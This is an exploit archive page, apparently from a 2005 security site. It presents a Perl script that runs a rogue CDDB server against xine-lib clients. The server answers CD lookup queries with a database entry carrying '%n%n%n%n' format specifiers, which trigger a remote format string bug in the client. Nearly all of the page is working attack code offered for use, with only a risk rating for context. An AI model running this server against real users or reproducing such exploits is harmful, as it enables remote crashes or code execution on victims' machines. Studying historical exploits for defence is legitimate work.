exploits , vulnerabilities , articles , xine-lib CDDB Client Metadata Handling Remote Format String Exploit

Rated as : High Risk 

#!/usr/bin/perl

# xine-cddb-server
# by Ulf Harnhammar in 2005
# I hereby place this program in the public domain.

use strict;
use IO::Socket;

$main::port = 8880;
$main::timeout = 5;


# *** SUBROUTINES ***


sub mysend($$)
{
my $file = shift;
my $str = shift;

print $file "$str\n";
print "SENT: $str\n";
} # sub mysend


sub myreceive($)
{
my $file = shift;
my $inp;

eval
{
local $SIG{ALRM} = sub { die "alarm\n" };
alarm $main::timeout;
$inp = <$file>;
alarm 0;
};

if ($@ eq "alarm\n") { $inp = ''; print "TIMED OUT\n";
}
$inp =~ tr/\015\012\000//d;
print "RECEIVED: $inp\n";
$inp;
} # sub myreceive


# *** MAIN PROGRAM ***


{
my $server = IO::Socket::INET->new( Proto => 'tcp',
LocalPort => $main::port,
Listen => SOMAXCONN,
Reuse => 1);
die "can't set up server!\n" unless $server;


while (my $client = $server->accept())
{
$client->autoflush(1);
print 'connection from '.$client->peerhost."\n";


mysend($client, '201 metaur CDDBP server v1.5PL2 ready at '.
scalar localtime);

while (my $str = myreceive($client))
{
if ($str =~ m/^cddb hello ([^ ]+) ([^ ]+) (.+)$/i)
{
mysend($client, "200 Hello and welcome $1\@$2 running $3.");
next;
}

if ($str =~ m/^proto (\d+)$/i)
{
mysend($client, "201 OK, CDDB protocol level now: $1");
next;
}

if ($str =~ m/^cddb query ([0-9a-f]+)/i)
{
mysend($client, "200 rock $1 Exploiters / Formatted and
Stringed");
next;
}

if ($str =~ m/^cddb read ([a-z]+) ([0-9a-f]+)/i)
{
my $docum = <<HERE;
210 $1 $2 CD database entry follows (until terminating \`.')
# %n%n%n%n
DISCID=$2
DTITLE=Exploiters / Formatted and Stringed
DYEAR=2005
DGENRE=Rock
TTITLE0=Format
TTITLE1=String
TTITLE2=Bug
EXTD= YEAR: 2005
EXTT0=
EXTT1=
EXTT2=
PLAYORDER=
.
HERE

$docum =~ s|\s+$||s;
mysend($client, $docum);
next;
}

if ($str =~ m/^quit$/i)
{
mysend($client, '230 metaur Closing connection. Goodbye.');
last;
}

mysend($client, '500 Unrecognized command.');
} # while str=myreceive(client)

close $client;
print "closed\n\n\n";
} # while client=server->accept()
}
securitydot.net - 2005-10-10